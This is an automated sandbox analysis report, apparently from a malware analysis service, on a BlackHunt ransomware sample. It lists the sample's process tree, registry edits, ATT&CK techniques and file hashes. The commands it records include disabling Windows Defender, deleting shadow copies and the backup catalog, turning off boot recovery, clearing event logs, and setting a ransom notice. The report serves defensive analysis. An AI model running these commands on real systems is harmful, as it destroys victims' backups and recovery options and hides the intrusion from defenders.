4896 cmd.exe 131 PID 4896 wrote to memory of 3520 4896 cmd.exe 131 PID 3880 wrote to memory of 1924 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 132 PID 3880 wrote to memory of 1924 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 132 PID 1644 wrote to memory of 5072 1644 cmd.exe 133 PID 1644 wrote to memory of 5072 1644 cmd.exe 133 PID 3880 wrote to memory of 3628 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 135 PID 3880 wrote to memory of 3628 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 135 PID 4844 wrote to memory of 1172 4844 cmd.exe 137 PID 4844 wrote to memory of 1172 4844 cmd.exe 137 PID 3880 wrote to memory of 3712 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 138 PID 3880 wrote to memory of 3712 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 138 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe"C:\Users\Admin\AppData\Local\Temp\53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3880 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1968 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:1536
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3448 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2848
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4596 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵PID:1500
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3908 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:3440
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1088 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:4488
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:4092
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:2128
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4208 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵PID:4004
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:220
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:3452
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:3152
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:2900
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4808 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:3196
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4896 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:3520
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3620 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:860
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:1644
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:5072
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4844 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:1172
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:3112
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:2204
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:1924
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:2516
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:3628
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1144
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:3712
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1176
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2160
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:5080
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:3684
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:2088
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:516
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:4220
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:3852
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:1592
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:4432
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:2388
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:4504
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:2132
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:2644
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:7400
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:3128
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:3452
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:4132
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:8036
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:4668
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵
- Suspicious use of WriteProcessMemory
PID:3152
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe" /F2⤵PID:3956
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe" /F3⤵
- Creates scheduled task(s)
PID:5144
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵
- Modifies registry class
PID:1500 -
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:8048
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:440
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:8632
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:3860
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:9100
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:4000
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:7036
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵
- Suspicious use of WriteProcessMemory
PID:4092 -
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:6716
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1936
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3196
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:6600
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1556
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
- Modifies Windows Defender Real-time Protection settings
PID:4004
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:6704
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1620
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:5704
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:3204
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
- Suspicious use of WriteProcessMemory
PID:220
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:5672
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵
- Suspicious use of WriteProcessMemory
PID:1644 -
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:9752
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1400
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:10092
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:21792
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:21920
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:21808
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:21964
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:21836
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:21972
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:21984
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:22208
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:22004
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:22360
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:22032
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:22192
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:22096
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:22400
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:22120
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:22428
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:22140
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:22436
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:22264
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:22516
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:22272
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:17700
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:22372
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:22572
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:22472
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:22988
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:22496
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:23056
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:22604
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:23188
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:22596
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:23248
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:22588
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:23096
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:22696
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:23216
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:22684
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:23204
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:22800
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:23272
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe"2⤵PID:22868
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C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:23172
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵
- Checks computer location settings
- Modifies registry class
PID:22852 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}3⤵PID:23368
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 23368 -s 14604⤵
- Program crash
PID:7576
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:22772
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:23228
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:640
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:11324
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:13384
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:8920
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 23368 -ip 233681⤵PID:6716
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
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Downloads
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Filesize
1KB
MD56d33ece03234810fc2586093ff6c52e6
SHA100184364afd001c5fe1bf70db39fdc362ec21bf1
SHA2569d9febbe31d56f5f42e15d8d3b50e1893e30f5479b25332aae4265d3fbf44517
SHA5120ce9357caa83121856fdc183cef0edf7baea9782474d4e0fb91cf27b77f4204be4026d366195718ce1bcebe24f9ba7a0130a9a37069fd0e140d97f1011207b0c
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Filesize
12KB
MD57255b53457c5842ae6511a67e2ddbaac
SHA1e0a93707cfa90047421ff41f1457ac8faa534eee
SHA2563ea42cb862c9979e55ce8cacee88a9a060afbc29f2482a2172569458a0f66c2f
SHA512d71a27d55a26875c0546c13ee68a37176a125322650ba7b1f67fdb9571fb7649373bba9427e6cdef03c2cceda7b110fd8c126d6f1f716320350cdd45c6add462
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Filesize
684B
MD50abaacbe7db61576b1c3c78cb349d546
SHA1a5205c805fc629942735e1f35dbada1d08c22a78
SHA25654b8fda30fb90d4cbe967cbc9aa1caa819090495a5fcd9212dcd86014cb693b3
